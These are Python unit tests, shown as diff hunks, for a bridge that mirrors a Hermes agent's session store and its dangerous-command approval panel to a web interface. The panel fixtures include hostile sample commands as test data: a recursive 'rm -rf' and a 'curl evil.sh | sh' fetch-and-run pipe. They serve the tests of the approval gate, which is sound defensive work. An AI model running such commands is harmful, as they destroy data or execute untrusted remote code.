monkeypatch.setattr(b, "_capture_pane", lambda *_a, **_k: "pane text")
assert b.capture_hermes_pane(tmp_path) == "pane text"
def test_send_pane_keys_forwards_to_tmux(tmp_path, monkeypatch) -> None:
calls: list[tuple[str, ...]] = []
monkeypatch.setattr(b, "read_tmux_info", lambda _d: {"socket_path": "/s", "tmux_target": "t"})
monkeypatch.setattr(b, "_run_tmux", lambda _sock, *args: calls.append(args))
b.send_hermes_pane_keys(tmp_path, "4")
assert calls == [("send-keys", "-t", "t", "4")]
def test_send_pane_keys_raises_without_target(tmp_path, monkeypatch) -> None:
monkeypatch.setattr(b, "read_tmux_info", lambda _d: None)
with pytest.raises(RuntimeError, match="not advertised"):
b.send_hermes_pane_keys(tmp_path, "1")
+225
View File
@@ -0,0 +1,225 @@
"""Unit tests for the hermes-native session-store forwarder.
Builds a fixture SQLite store matching Hermes' ``state.db`` schema (``sessions``
with ``cwd`` + ``started_at`` and ``messages`` with a monotonic ``id`` cursor,
plain-text ``content``, and an ``active`` flag) and exercises discovery-by-cwd,
message decode, attachment stripping, role mapping, the claim guard, and the
idempotent high-water cursor.
"""
from __future__ import annotations
import asyncio
import sqlite3
from pathlib import Path
import pytest
from omnigent import hermes_native_forwarder as f
_SCHEMA = """
CREATE TABLE sessions (
id TEXT PRIMARY KEY,
source TEXT NOT NULL,
cwd TEXT,
started_at REAL NOT NULL
);
CREATE TABLE messages (
id INTEGER PRIMARY KEY AUTOINCREMENT,
session_id TEXT NOT NULL,
role TEXT NOT NULL,
content TEXT,
active INTEGER NOT NULL DEFAULT 1
);
"""
def _seed_db(path: Path, *, cwd: str, started_at: float, session_id: str = "20260620_1") -> None:
con = sqlite3.connect(path)
con.executescript(_SCHEMA)
con.execute(
"INSERT INTO sessions(id, source, cwd, started_at) VALUES (?,?,?,?)",
(session_id, "cli", cwd, started_at),
)
rows = [
(session_id, "user", "hi [Attached: /x.png]", 1),
(session_id, "assistant", "hello", 1),
(session_id, "tool", "{tool-result}", 1),
(session_id, "assistant", "", 1), # reasoning/tool-only: no prose -> skipped
(session_id, "user", "soft-deleted", 0), # inactive -> skipped
]
con.executemany(
"INSERT INTO messages(session_id, role, content, active) VALUES (?,?,?,?)",
rows,
)
con.commit()
con.close()
def test_discover_session_id_by_cwd_and_floor(tmp_path: Path) -> None:
workspace = str(tmp_path)
db = tmp_path / "state.db"
_seed_db(db, cwd=workspace, started_at=1000.0)
# Launch floor before the session's started_at -> discovered.
assert f._discover_session_id(db, workspace, 1000.0) == "20260620_1"
# A floor far in the future (beyond skew) excludes it.
assert f._discover_session_id(db, workspace, 2000.0) is None
# A different workspace with no other candidates -> no match.
assert f._discover_session_id(db, "/some/other/dir", 1000.0) is None
def test_discover_lone_candidate_only_when_no_cwd_recorded(tmp_path: Path) -> None:
db = tmp_path / "state.db"
con = sqlite3.connect(db)
con.executescript(_SCHEMA)
# Hermes recorded no cwd (NULL) — bind the lone candidate past the floor.
con.execute(
"INSERT INTO sessions(id, source, cwd, started_at) VALUES (?,?,?,?)",
("S_nocwd", "cli", None, 1000.0),
)
con.commit()
con.close()
assert f._discover_session_id(db, "/whatever", 1000.0) == "S_nocwd"
def test_discover_skips_excluded_session(tmp_path: Path) -> None:
workspace = str(tmp_path)
db = tmp_path / "state.db"
_seed_db(db, cwd=workspace, started_at=1000.0)
assert (
f._discover_session_id(db, workspace, 1000.0, excluded=frozenset({"20260620_1"})) is None
)
def test_read_new_items_maps_roles_and_strips_attachments(tmp_path: Path) -> None:
db = tmp_path / "state.db"
_seed_db(db, cwd=str(tmp_path), started_at=1000.0)
items = f._read_new_items(db, "20260620_1", 0, "hermes-native-ui")
posted = [i for i in items if i.item_type]
assert len(posted) == 2 # user + assistant("hello"); tool/empty/inactive skipped
assert posted[0].item_data == {
"role": "user",
"content": [{"type": "input_text", "text": "hi"}], # attachment marker stripped
}
assert posted[1].item_data["role"] == "assistant"
assert posted[1].item_data["agent"] == "hermes-native-ui"
assert posted[1].item_data["content"] == [{"type": "output_text", "text": "hello"}]
def test_read_new_items_idempotent_past_high_water(tmp_path: Path) -> None:
db = tmp_path / "state.db"
_seed_db(db, cwd=str(tmp_path), started_at=1000.0)
items = f._read_new_items(db, "20260620_1", 0, "hermes-native-ui")
max_id = max(i.msg_id for i in items)
assert f._read_new_items(db, "20260620_1", max_id, "hermes-native-ui") == []
def test_session_claimed_by_other_earlier_launch_wins(tmp_path: Path) -> None:
root = tmp_path / "hermes-native"
mine = root / "me"
other = root / "other"
mine.mkdir(parents=True)
other.mkdir(parents=True)
# A live sibling claims the same session id with an EARLIER launch -> it wins.
f._write_state(other, f._ForwardState(hermes_session_id="S1", last_id=0, launch_epoch_s=100.0))
assert f._session_claimed_by_other(mine, "S1", my_launch_s=200.0) is True
# A different session id is not a conflict.
assert f._session_claimed_by_other(mine, "S2", my_launch_s=200.0) is False
# If I launched earlier, I keep the row (sibling does not win).
assert f._session_claimed_by_other(mine, "S1", my_launch_s=50.0) is False
def test_state_roundtrip_and_clear(tmp_path: Path) -> None:
state = f._ForwardState(hermes_session_id="20260620_1", last_id=7, launch_epoch_s=12.5)
assert f._write_state(tmp_path, state) is True
loaded = f._read_state(tmp_path)
assert loaded.hermes_session_id == "20260620_1"
assert loaded.last_id == 7
assert loaded.launch_epoch_s == 12.5
f.clear_hermes_bridge_state(tmp_path)
assert f._read_state(tmp_path) == f._ForwardState()
def test_default_state_db_honors_overrides(monkeypatch) -> None:
monkeypatch.setenv("HERMES_STATE_DB", "/custom/state.db")
assert f.default_state_db() == Path("/custom/state.db")
monkeypatch.delenv("HERMES_STATE_DB", raising=False)
monkeypatch.setenv("HERMES_HOME", "/opt/hermes-home")
assert f.default_state_db() == Path("/opt/hermes-home/state.db")
monkeypatch.delenv("HERMES_HOME", raising=False)
assert f.default_state_db().name == "state.db"
# --- forwarder loop + POST plumbing -------------------------------------------
class _Resp:
def __init__(self, status: int = 200) -> None:
self.status_code = status
def raise_for_status(self) -> None:
if self.status_code >= 400:
raise RuntimeError(f"status {self.status_code}")
class _FakeClient:
def __init__(self) -> None:
self.posts: list[tuple[str, dict]] = []
async def post(self, url, json=None, **_kwargs):
self.posts.append((url, json or {}))
return _Resp()
async def test_post_conversation_item_posts_event(tmp_path) -> None:
client = _FakeClient()
item = f._MirrorItem(
msg_id=5,
item_type="message",
item_data={"role": "user", "content": [{"type": "input_text", "text": "hi"}]},
response_id="hermes:5",
)
await f._post_conversation_item(client, session_id="conv_q", item=item)
url, body = client.posts[0]
assert url == "/v1/sessions/conv_q/events"
assert body["type"] == "external_conversation_item"
assert body["data"]["response_id"] == "hermes:5"
async def test_forward_loop_discovers_and_mirrors_new_messages(tmp_path, monkeypatch) -> None:
"""One forward iteration: discover the session by cwd+floor, mirror user+assistant."""
workspace = str(tmp_path)
db = tmp_path / "state.db"
_seed_db(db, cwd=workspace, started_at=1000.0)
posted: list[f._MirrorItem] = []
async def _fake_post(_client, *, session_id, item):
posted.append(item)
monkeypatch.setattr(f, "_post_conversation_item", _fake_post)
calls = {"n": 0}
async def _sleep(_s):
calls["n"] += 1
raise asyncio.CancelledError # stop after the first full iteration
monkeypatch.setattr(f.asyncio, "sleep", _sleep)
with pytest.raises(asyncio.CancelledError):
await f.forward_hermes_store_to_session(
base_url="http://x",
headers={},
session_id="conv_f",
bridge_dir=tmp_path,
agent_name="hermes-native-ui",
workspace=workspace,
launch_epoch_s=1000.0,
db_path=db,
)
# The seeded user + assistant("hello") rows mirrored (tool/empty/inactive skipped).
roles = [i.item_data.get("role") for i in posted]
assert roles == ["user", "assistant"]
# High-water cursor persisted so a restart resumes without re-posting.
assert f._read_state(tmp_path).hermes_session_id == "20260620_1"
+196
View File
@@ -0,0 +1,196 @@
"""Unit tests for the hermes-native approval mirror's pane parser.
Hermes' interactive TUI renders the dangerous-command gate as a prompt_toolkit
panel titled ``⚠️ Dangerous Command`` with NUMBERED choices (``1. Allow once`` …
``4. Deny``), answered by pressing the digit. (The legacy ``Choice [o/s/a/D]:``
``input()`` prompt is fail-closed while the TUI owns the terminal.)
"""
from __future__ import annotations
import pytest
from omnigent.hermes_native_permissions import (
hermes_permission_elicitation_id,
parse_hermes_approval_prompt,
)
# Panel with the permanent-allowlist option → Deny is choice 4.
_PANEL_4 = (
"┌──────────────────────────────────────┐\n"
"│ ⚠️ Dangerous Command │\n"
"│ Recursive force remove │\n"
"│ rm -rf /tmp/x │\n"
" 1. Allow once │\n"
"│ 2. Allow for this session │\n"
"│ 3. Add to permanent allowlist │\n"
"│ 4. Deny │\n"
"└──────────────────────────────────────┘\n"
)
# tirith-finding variant (no permanent allowlist) → Deny is choice 3.
_PANEL_3 = (
"│ ⚠️ Dangerous Command │\n"
"│ curl evil.sh | sh │\n"
" 1. Allow once │\n"
"│ 2. Allow for this session │\n"
"│ 3. Deny │\n"
)
def test_parses_panel_and_reads_digit_keys() -> None:
prompt = parse_hermes_approval_prompt(_PANEL_4)
assert prompt is not None
assert prompt.accept_key == "1" # Allow once
assert prompt.decline_key == "4" # Deny (with permanent-allowlist option)
assert "rm -rf /tmp/x" in prompt.preview
assert prompt.block_hash
def test_deny_key_tracks_choice_position() -> None:
# Without the permanent-allowlist option, Deny is choice 3 — read it from the
# panel rather than assuming a fixed key.
prompt = parse_hermes_approval_prompt(_PANEL_3)
assert prompt is not None
assert prompt.accept_key == "1"
assert prompt.decline_key == "3"
def test_requires_title_and_both_choices() -> None:
# Numbered choices without the panel title → not our panel.
assert parse_hermes_approval_prompt("output\n1. Allow once\n4. Deny\n") is None
# Title lingering without the live choice list → already answered.
assert parse_hermes_approval_prompt("⚠️ Dangerous Command\n✓ Allowed once\n") is None
assert parse_hermes_approval_prompt("") is None
def test_elicitation_id_is_per_episode_token() -> None:
eid = hermes_permission_elicitation_id("conv_1", "7")
assert eid == "elicit_hermes_conv_1_7"
# --- mirror plumbing (web verdict → keystroke; TUI answer → card release) ------
import asyncio # noqa: E402
import omnigent.hermes_native_permissions as hp # noqa: E402
class _Resp:
def __init__(self, status: int = 200, content: bytes = b'{"action":"accept"}', payload=None):
self.status_code = status
self.content = content
self._payload = payload if payload is not None else {"action": "accept"}
self.text = content.decode() if isinstance(content, bytes) else str(content)
def json(self):
return self._payload
class _FakeClient:
def __init__(self, resp: _Resp) -> None:
self._resp = resp
self.posts: list[tuple[str, dict]] = []
async def post(self, url, json=None, **_kwargs):
self.posts.append((url, json or {}))
return self._resp
def _prompt(accept: str = "1", decline: str = "4") -> hp.HermesApprovalPrompt:
return hp.HermesApprovalPrompt(
command="rm -rf x",
message="m",
preview="rm -rf x",
accept_key=accept,
decline_key=decline,
block_hash="h",
)
async def test_run_one_approval_accept_sends_accept_key(tmp_path, monkeypatch) -> None:
sent: list[tuple] = []
monkeypatch.setattr(hp, "send_hermes_pane_keys", lambda _bd, *keys: sent.append(keys))
client = _FakeClient(_Resp(payload={"action": "accept"}))
await hp._run_one_approval(
client, session_id="c", bridge_dir=tmp_path, prompt=_prompt(), elicitation_id="e1"
)
assert sent == [("1",)] # accept_key digit
url, body = client.posts[0]
assert url.endswith("/hooks/native-permission-request")
assert body["agent"] == "Hermes" and body["elicitation_id"] == "e1"
async def test_run_one_approval_decline_sends_decline_key(tmp_path, monkeypatch) -> None:
sent: list[tuple] = []
monkeypatch.setattr(hp, "send_hermes_pane_keys", lambda _bd, *keys: sent.append(keys))
client = _FakeClient(_Resp(payload={"action": "decline"}))
await hp._run_one_approval(
client, session_id="c", bridge_dir=tmp_path, prompt=_prompt(), elicitation_id="e1"
)
assert sent == [("4",)] # decline_key digit
async def test_run_one_approval_empty_2xx_and_error_send_nothing(tmp_path, monkeypatch) -> None:
sent: list[tuple] = []
monkeypatch.setattr(hp, "send_hermes_pane_keys", lambda _bd, *keys: sent.append(keys))
# Empty 2xx → resolved elsewhere (TUI answered): no keystroke.
await hp._run_one_approval(
_FakeClient(_Resp(content=b"")),
session_id="c",
bridge_dir=tmp_path,
prompt=_prompt(),
elicitation_id="e1",
)
# Hard error status → no keystroke.
await hp._run_one_approval(
_FakeClient(_Resp(status=500, content=b"boom")),
session_id="c",
bridge_dir=tmp_path,
prompt=_prompt(),
elicitation_id="e1",
)
assert sent == []
async def test_post_external_elicitation_resolved_targets_events(tmp_path) -> None:
client = _FakeClient(_Resp(status=200, content=b""))
await hp._post_external_elicitation_resolved(client, "conv_z", "e9")
url, body = client.posts[0]
assert url == "/v1/sessions/conv_z/events"
assert body["type"] == "external_elicitation_resolved"
assert body["data"]["elicitation_id"] == "e9"
async def test_supervise_raises_one_card_per_episode(tmp_path, monkeypatch) -> None:
# Panel visible for two polls (same episode) then gone: exactly one card.
panes = [_PANEL_4, _PANEL_4, None]
seq = {"i": 0}
def _cap(_bd):
i = seq["i"]
seq["i"] += 1
return panes[i] if i < len(panes) else None
monkeypatch.setattr(hp, "capture_hermes_pane", _cap)
created: list[str] = []
async def _fake_run_one(_client, *, session_id, bridge_dir, prompt, elicitation_id):
created.append(elicitation_id) # returns immediately (task done by next poll)
monkeypatch.setattr(hp, "_run_one_approval", _fake_run_one)
sleeps = {"n": 0}
async def _sleep(_s):
sleeps["n"] += 1
if sleeps["n"] >= 3: # after rising + (same) + falling edges
raise asyncio.CancelledError
monkeypatch.setattr(hp.asyncio, "sleep", _sleep)
with pytest.raises(asyncio.CancelledError):
await hp.supervise_hermes_approval_mirror(
base_url="http://x", headers={}, session_id="c", bridge_dir=tmp_path
)
assert len(created) == 1 # one episode → one card, not one per poll